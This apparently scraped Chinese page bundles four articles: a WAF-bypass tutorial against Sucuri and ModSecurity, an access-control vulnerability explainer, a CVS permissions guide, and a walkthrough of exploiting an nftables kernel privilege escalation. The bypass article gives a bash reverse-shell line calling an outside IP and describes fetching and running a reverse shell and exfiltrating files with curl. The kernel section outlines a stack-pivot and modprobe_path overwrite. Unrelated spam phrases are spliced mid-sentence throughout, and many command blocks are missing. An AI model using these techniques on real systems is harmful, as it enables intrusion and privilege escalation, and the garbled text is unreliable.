1.WAF绕过技术系列文章（二）
2.Web漏洞之越权漏洞
3.CVS权限管理
4.Nftables CVE-2023-0179提权利用

WAF绕过技术系列文章（二）

       在前面的源码文章中，我们学习了如何通过通配符绕过WAF规则，分析特别是源码使用问号通配符。但是分析，绕过WAF的源码方法远不止于此。对于不同的分析汽车加油平台源码攻击，WAF规则绕过方法各不相同。源码例如，分析在SQL注入中，源码你可以利用注释语法来绕过WAF，分析而不仅仅是源码简单的加号。

       当目标网站的分析WAF防御级别较低时，星号和连字符能帮你成功绕过WAF。源码但这只适用于SQL注入，分析不能用于本地文件包含和远程命令执行。源码对于某些特殊场景，WAF很难真正防御住针对目标网站的远程命令执行，因为这种攻击使用了字符串连接符。

       如果你想实际操作这些绕过方法，可以在我创造的FluxCapacitor手动练习，这是一个在hackthebox上的漏洞演示虚拟机。

       在许多编程语言中，字符串连接通常通过二进制符号实现。例如，加号，"Hello, " + "World"得到值为"Hello, World"。在其他编程语言中，连接符可能是不同符号，特别是涉及到隐式的类型转换，并不会使用加号等符号。例如在Perl和PHP中连接符为.,在Lua等语言中，连接符为..

       但是你可别认为这是连接两个字符串的唯一方式。

       当你在Bash使用C，C++，Python等编程语言时，你可以利用一种基于Bash的字符串连接特性，即：两个相邻的字符串即使中间没有任何符号，它们也可被当作连接在一起,"Hello," "World"等同于"Hello, World"。这个特性不仅适用于printf和echo等命令，士气回落指标源码还可适用于整体Bash语法。让我们从简单的例子开始。

       下面的所有命令运行结果相同：

       从上我们可以清楚了解到Bash中的字符串连接特性。实际上，'te's't'是由三个字符串组成：字符串te、字符串s和字符串t。这种语法可以有效地绕过基于“字符串匹配”的WAF规则。

       ModSecurity中的防御规则SecRule ARGS "@pm passwd shadow groups"…将拦截所有包含字符串passwd或字符串shadow的请求。但是，如果我们把它们转换成pa'ss'wd或sh'ad'ow呢？就像我上面所提到的那样。而且，你不仅可以使用连接字符串来代替文件参数，还可以用来代替执行路径！

       下面的所有命令运行结果也相同：

       现在，我们已经发现一个远程命令执行的绕过WAF方法。如果你面临的WAF存在基于敏感字符串的拦截，你就可以用它绕过WAF规则：

       下面我会用PHP代码做些测试，像往常一样，目标WAF是sucuri WAF和ModSecurity。如下是我们的网页代码，当然，它显得太过简单，功能主要是利用curl和system()形成一个命令执行场景。虽然它看起来很不靠谱，但奇怪的是，你可以在多个实际应用场景发现这种愚蠢的代码。

       我想我在发布这些文章后，Sucuri会立马把我拉黑。但是，我发誓：我使用Sucuri waf与ModSecurity进行比较，不是因为我要说明哪个更好。因为Sucuri被广泛使用，如果有用户阅读了本文，就可以在他们的自己的Web应用上更好地进行安全测试。

       首先，我尝试发出请求获取 google.com，而使用最原始地请求：

       如预期的一样，返回了 google.com的攻击强度源码股票页面，基于地理位置，让我跳转到 www.google.de：

       现在，为了做坏事，我使用分号破坏curl语法，尝试执行其他系统命令。但是当我试图读取/etc/passwd文件时，Sucuri就会拦截请求，请求如下：

       被Sucuri拦截的原因如下：“检测到一个RFI/LFI攻击”。我认为（只是一个假设）Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术，它可能会拦截所有常见的路径和文件名，如/etc/passwd。当我把这个WAF的拦截力度调到最低时，我就可以利用两个单引号来绕过！

       我知道你现在在想什么：“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗？”这个问题的答案当然是，YES！唯一的问题就是我们不能使用netcat，因为它还没有安装。

       返回一个shell的最简单方法是使用bash -i命令：bash -i >& /dev/tcp/1.1.1.1/ 0>&1，但不幸的是，它太复杂了，很难彻底绕过WAF，这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求，原因是：检测到模糊攻击。

       接下来，我尝试使用curl或wget命令将python的反弹shell脚本上传上去，以获得shell。shell.py代码如下：

       然后，我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务，方便目标服务器从中下载python文件，下载shell.py文件用以下语法：

       好的，Sucuri Waf没有拦截这个请求，但是ModSecurity通常会拦截这类请求，为了要绕过这类WAF规则，可以使用wget+ip转换+字符串连接来达成：

       第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限，第三个命令是免费spring boot源码执行它。如您所见，wget命令发出的请求中没有指明文件名，因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容，如下所示：

       接下来，我们要绕过更难的WAF

       你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是，这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。在ModSecurity中，它们被称为“转换函数”，用于将用户输入的原始数据先转换，然后再匹配。如果WAF认为数据无害，才会发送原始数据到Web服务器。

       normalizePath：它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用（除了最开始的输入）。

       cmdLine：由Marc Stern开发，会将所有的输入规范化，例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事：

       因为cmdLine，WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试，拦截信息如下：

       现在我不能读取/etc/passwd，但不要绝望！OWASP核心规则集会拦截常用的文件路径和命令，但它不能对目标应用的源代码执行拦截。我虽然不能使用分号（这意味着我不能跳出curl语法），但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。

       主要方法是利用POST的HTTP请求将文件发送到远程服务器，命令如下：

       在此基础上，我们把@编码为%：

       如果防御等级为4，以上这些都不起作用，因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是，防御级别4在生产环境中很少见。

       上面所述的web源码审计招聘绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串，而是用来转义：

       以上就是全部内容。谢谢！

       来源： WAF绕过技术系列文章（二）|NOSEC安全讯息平台 - NOSEC.ORG

       白帽汇从事信息安全，专注于安全大数据、企业威胁情报。

       公司产品：FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

       为您提供：网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

Web漏洞之越权漏洞

       越权访问，亦称Broken Access Control，是Web应用中常见的安全漏洞之一。它位居OWASP列出的Web应用十大安全隐患的第二位，影响范围广且危害大。这种漏洞的出现，往往在于应用在检查用户授权时存在疏漏，使攻击者得以利用低权限账户，绕过权限检查，非法访问或操作其他用户的数据或更高权限资源。越权漏洞属于业务性漏洞，其难点在于这类问题并不源于代码本身，而是由于对数据增删改查时对客户端请求数据的过度信任，导致权限判断的缺失。越权访问主要分为水平越权、垂直越权和未授权访问三种类型。

       水平越权指的是同一权限级别组内的用户，能够访问、修改或删除其他组成员的数据。形成的原因通常是服务器端在处理客户端请求时，未对数据的所属权进行有效判断，导致权限访问不当。例如，杨卓和田超作为同级别角色，拥有各自的隐私数据。若系统仅验证用户是否具有访问数据的角色权限，而未对具体数据权限进行设定，就会导致杨卓能够查看田超的数据，这就是水平越权现象。

       垂直越权则指的是用户能够访问或控制不同权限层级的资源。由于系统在权限控制上存在缺陷，仅仅在菜单或按钮上做了权限控制，恶意用户只需猜测其他管理页面的URL或敏感参数信息，即可访问或控制其他角色用户的数据和页面。也就是说，普通用户能够执行通常只有超级用户才能执行的操作。

       未授权访问指的是在系统中攻击者虽然没有账号，但通过特定手段获取了某些功能权限。此类漏洞的测试方法相对简单，通过登录需要权限的功能模块，若能正常访问即表明存在该漏洞。具体操作可能包括修改请求包中的数据，如将包中的status字段从false改为true，观察系统反馈。

       案例分析方面，以修改密码为例，通过修改cross_auth_passwd文件中的代码，发现存在越权修改密码的漏洞。通过测试，发现更改密码的用户使用ID进行标识，而系统在更改密码时并未验证旧密码。经过分析和尝试，发现通过修改ID并发送修改请求，可以绕过权限限制，成功修改他人密码。另外，越权查看内容和水平越权的案例也通过具体的步骤和源码分析，揭示了权限控制的漏洞。

       为了修复这些漏洞，建议遵循权限配置的最小化原则，即“最小权限原则”，对所有主体默认拒绝所有权限，仅对有需要的主体单独配置权限。对于水平越权，可以通过创建访问控制规则库，并将其写入配置文件，通过规则对数据访问进行控制。对于垂直越权，考虑采用“用户组”的方式，管理不同权限级别的用户访问权限。

       总之，越权访问是Web应用安全中需重点关注的漏洞类型，通过深入理解其形成原因和案例分析，可以有效识别和修复这些安全问题。同时，遵循网络安全法律法规，仅用于技术分享和学习，避免非法用途。

CVS权限管理

       CVS的权限管理主要有两种策略。第一种是基于系统文件权限的系统用户管理，适用于多个在Linux上使用系统帐号的开发人员进行开发。通过将/home/cvsroot目录的所有权设置为apache.apache，然后赋予该目录的权限，可以实现Linux上通过ssh连接CVS服务器的多个开发人员的文件共享读写。只要开发人员属于apache组，他们就能读写任何他们导入的项目文件，因为导入的项目文件默认拥有权限，这表示文件对组的权限为读写。

       第二种策略是基于CVSROOT/passwd的虚拟用户管理，适用于多个在Windows平台上的开发人员将帐号映射成系统帐号使用。在passwd文件中，通过映射虚拟用户到apache用户，可以实现文件的共享读写。通过CVSROOT/passwd和readers writers等文件管理用户的访问权限，并通过cvstrac设置所有虚拟用户都映射到apache用户上。

       使用这两种策略，结合apache/apache用户，可以方便地在Linux和Windows平台上实现CVS版本控制系统的权限管理。这使得开发人员能够高效地进行代码的共享、管理和版本控制，无论他们使用的是哪种操作系统。

       通过CVS WinCVS、CVSWeb和CVSTrac这三种工具的结合使用，可以构建一个相对完善的跨平台工作组开发版本控制环境。这不仅简化了权限管理，还提高了开发效率和协作能力，使得开发团队能够在不同的操作系统环境中协同工作，确保代码版本的统一和安全。

扩展资料

       CVS是一个C/S系统，多个开发人员通过一个中心版本控制系统来记录文件版本，从而达到保证文件同步的目的。CVS版本控制系统是一种GNU软件包，主要用于在多人开发环境下的源码的维护。

Nftables CVE--提权利用

       在分析了CVE---Nftables整型溢出漏洞的成因之后，本文接下来将深入探讨如何利用这一漏洞。首先，了解到payload_eval_copy_vlan函数中存在整型溢出问题，这使得我们可以将vlan头部结构拷贝至寄存器（NFT_REG_-NFT_REG_）中，而该变量位于栈上，因此可以覆盖到栈上的其他变量。

       然而，观察源码后发现regs变量无法直接覆盖到返回地址。进一步分析后发现，jumpstack变量位于regs变量下方，因此可以利用整型溢出覆盖到jumpstack变量。接下来，我们关注nft_jumpstack结构体，该结构体在nft_do_chain函数中起作用，当状态寄存器被设置为JUMP条件时，程序将跳转至其他chain进行处理。保存完当前chain状态后，程序将跳转至目的chain，即存储在regs.verdict.chain中。

       还原chain的过程涉及通过递减stackptr来取出存储在jumpstack变量中的chain、rule、lastrule，然后进行rule的解析。需要注意的是，在遍历rule时，循环条件为rule < lastrule。因此，在伪造lastrule时，需要确保其值大于rule，否则无法进入循环内部。

       接着，观察nft_rule_dp结构体，发现其中包含用于存储nft_expr结构体指针的八个字节。通过篡改该指针，可以劫持程序流程。为了解决这一问题，作者从ctfiot.com/.html中学习了一个技巧：使用ptype /o struct xxx显示结构体信息与偏移。

       构建流程如下：通过漏洞溢出至nft_jumpstack结构体，并修改rule变量指向可控内容的地址。同时，将lastrule值篡改为大于rule的值。接下来，在可控内容中伪造一个nft_rule_dp结构体，篡改第一个八个字节（填充位）和第二个八个字节（函数表指针）的值，使其分别指向可控内容的地址。之后，在该地址处伪造nft_expr，将ops变量指向所需执行的函数。

       分析后得知，通过上述手段可以实现程序流程的劫持。接下来，需要考虑如何伪造上述结构体。在nft_payload_copy_vlan函数中，漏洞点在于将vlan头数据复制到寄存器中，由于vlan头地址低于寄存器地址，导致在复制完vlan头后会覆盖寄存器值。这里，我们可以通过控制NFT_REG_的值来实现对jumpstack结构体的篡改。

       由于可以控制regs变量，首先泄露regs地址，然后在此基础上伪造rule并重新指向jumpstack。这里采用将last_rule设置为函数地址的技巧，以节省八个字节的空间。然而，仅控制八个字节的函数指针不足以构造完整的ROP链，因此需要使用栈迁移。栈迁移的目标是控制一段内存，选择regs作为目标。

       在寻找合适的栈迁移gadget时，作者使用了vmlinux-to-elf工具提取符号表，然后利用ropper工具搜索gadget。但尝试后发现大部分gadget不可用。作者最后尝试使用objdump工具提取gadget，并通过搜索add rsp.*等指令找到栈迁移的gadget。进一步计算栈顶与regs函数地址的差值，找到相应的栈迁移gadget。

       在提权方面，作者通过覆盖modprobe_path实现提权。选择合适的gadget将rdi设置为modprobe_path，rax设置为覆盖后的路径。然而，在返回到nf_hook_slow函数时，由于设置了rax值导致状态码无法正确设置，程序跳转至NF_DROP分支，导致内核异常。最终，作者在rbp中找到了一个do_softirq函数，并尝试将其作为返回地址。运行后发现程序能够正常返回到用户态。

       最后，验证新用户是否已写入至/etc/passwd文件中，完成提权过程。完整exploit代码可参考github.com/h0pe-ay/Vuln.../poc.c。相关资料参考链接包括github.com/TurtleARM/CV...